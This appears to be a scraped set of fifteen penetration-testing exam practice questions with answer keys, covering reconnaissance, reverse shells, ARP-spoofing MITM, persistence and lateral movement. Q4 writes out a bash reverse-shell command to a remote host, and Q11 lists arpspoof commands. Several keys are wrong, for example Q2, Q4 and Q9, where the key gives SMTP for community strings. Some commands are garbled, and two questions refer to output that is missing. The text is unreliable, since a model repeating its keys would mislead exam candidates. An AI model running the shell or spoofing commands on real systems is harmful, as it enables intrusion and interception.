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QUESTION 1

A penetration tester is designing a phishing campaign and wants to build list of users (or the target organization. Which
of the following techniques would be the MOST appropriate? (Select TWO) 

A. Query an Internet WHOIS database. 

B. Search posted job listings. 

C. Scrape the company website. 

D. Harvest users from social networking sites. 

E. Socially engineer the corporate call center. 

Correct Answer: CD 

 

QUESTION 2

An organization has requested that a penetration test be performed to determine if it is possible for an attacker to gain a
foothold on the organization\\'s server segment. During the assessment, the penetration tester identifies tools that
appear to have been left behind by a prior attack. Which of the following actions should the penetration tester take? 

A. Attempt to use the remnant tools to achieve persistence. 

B. Document the presence of the left-behind tools in the report and proceed with the test. 

C. Remove the tools from the affected systems before continuing on with the test. 

D. Discontinue further testing and report the situation to management. 

Correct Answer: A 

 

 

QUESTION 3

A penetration tester is performing a validation scan after an organization remediated a vulnerability on port 443 The
penetration tester observes the following output: 

Which of the following has MOST likely occurred? 
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A. The scan results were a false positive. 

B. The IPS is blocking traffic to port 443 

C. A mismatched firewall rule is blocking 443. 

D. The organization moved services to port 8443 

Correct Answer: D 

 

QUESTION 4

A tester intends to run the following command on a target system: 

bash -i >and /dev/tcp/10.2.4.6/443 0> and1 

Which of the following additional commands would need to be executed on the tester\\'s Linux system to make the
previous command successful? 

A. nc -nvlp 443 

B. nc 10.2.4.6 443 

C. nc -w3 10.2.4.6 443 

D. nc-/bin/ah 10.2.4.6 443 

Correct Answer: D 

 

 

QUESTION 5

When calculating the sales price of a penetration test to a client, which of the following is the MOST important aspect to
understand? 

A. The operating cost 

B. The client\\'s budget 

C. The required scope of work 

D. The non-disclosure agreement 

Correct Answer: C 

 

 

QUESTION 6

A penetration tester observes that the content security policy header is missing during a web application penetration
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test. Which of the following techniques would the penetration tester MOST likely perform? 

A. Command injection attack 

B. Clickjacking attack 

C. Directory traversal attack 

D. Remote file inclusion attack 

Correct Answer: B 

References: https://geekflare.com/http-header-implementation/ 

 

QUESTION 7

A penetration tester is able to move laterally throughout a domain with minimal roadblocks after compromising a single
workstation. Which of the following mitigation strategies would be BEST to recommend in the report? (Select THREE). 

A. Randomize local administrator credentials for each machine. 

B. Disable remote logons for local administrators. 

C. Require multifactor authentication for all logins. 

D. Increase minimum password complexity requirements. 

E. Apply additional network access control. 

F. Enable full-disk encryption on every workstation. 

G. Segment each host into its own VLAN. 

Correct Answer: CDE 

 

 

QUESTION 8

A penetration tester is reviewing the following output from a wireless sniffer: 

Which of the following can be extrapolated from the above information? 

A. Hardware vendor 
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B. Channel interference 

C. Usernames 

D. Key strength 

Correct Answer: C 

 

QUESTION 9

A penetration tester is exploiting the use of default public and private community strings Which of the following protocols
is being exploited? 

A. SMTP 

B. DNS 

C. SNMP 

D. HTTP 

Correct Answer: A 

 

QUESTION 10

A penetration tester has gained physical access to a facility and connected directly into the internal network. The
penetration tester now wants to pivot into the server VLAN. Which of the following would accomplish this? 

A. Spoofing a printer\\'s MAC address 

B. Abusing DTP negotiation 

C. Performing LLMNR poisoning 

D. Conducting an STP attack 

Correct Answer: D 

 

QUESTION 11

A malicious user wants to perform an MITM attack on a computer. The computer network configuration is given below: 

IP: 192.168.1.20 NETMASK: 255.255.255.0 DEFAULT GATEWAY: 192.168.1.254 DHCP: 192.168.1.253 DNS:
192.168.10.10, 192.168.20.10 

Which of the following commands should the malicious user execute to perform the MITM attack? 

A. arpspoof -c both -r -t 192.168.1.1 192.168.1.20 

B. arpspoof -t 192.168.1.20 192.168.1.254 
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C. arpspoof -c both -t 192.168.1.20 192.168.1.253 

D. arpspoof -r -t 192 .168.1.253 192.168.1.20 

Correct Answer: B 

Reference: https://www.hackers-arise.com/single-post/2017/07/25/Man-the-Middle-MiTM- Attack-with-ARPspoofing 

 

QUESTION 12

During a penetration test a tester Identifies traditional antivirus running on the exploited server. Which of the following
techniques would BEST ensure persistence in a post-exploitation phase? 

A. Shell binary placed in C \windowsttemp 

B. Modified daemons 

C. New user creation 

D. Backdoored executaWes 

Correct Answer: B 

 

QUESTION 13

Which of the following commands will allow a tester to enumerate potential unquoted service paths on a host? 

A. wmic environment get name, variablevalue, username | findstr /i "Path" | findstr /i "Service" 

B. wmic service get /format:hform > c:\temp\services.html 

C. wmic startup get caption, location, command |findstr /i "service" |findstr /v /i "%" 

D. wmic service get name, displayname, pathname, startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ 

Correct Answer: D 

Reference: https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-
c7a011a8d8ae 

 

QUESTION 14

After successfully exploiting a local file inclusion vulnerability within a web application a limited reverse shell is spawned
back to the penetration tester\\'s workstation Which of the following can be used to escape the limited shell and create a
fully functioning TTY? 

A. per1 -e \\' : set shall=/bin/bash:shell\\' 

B. php -r ,Sshell=f3hellopen("/bin/bash-);exec($9he:i)\\' 

C. bash -i >fi /dev/localhosc Oil 
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D. python -c \\'import pty;pcy.3pawn("/bin/bash")\\' 

Correct Answer: D 

 

QUESTION 15

A penetration tester directly connects to an internal network. Which of the following exploits would work BEST for quick
lateral movement within an internal network? 

A. Crack password hashes in /etc/shadow for network authentication. 

B. Launch dictionary attacks on RDP. 

C. Conduct a whaling campaign. 

D. Poison LLMNR and NBNS requests. 

Correct Answer: A 
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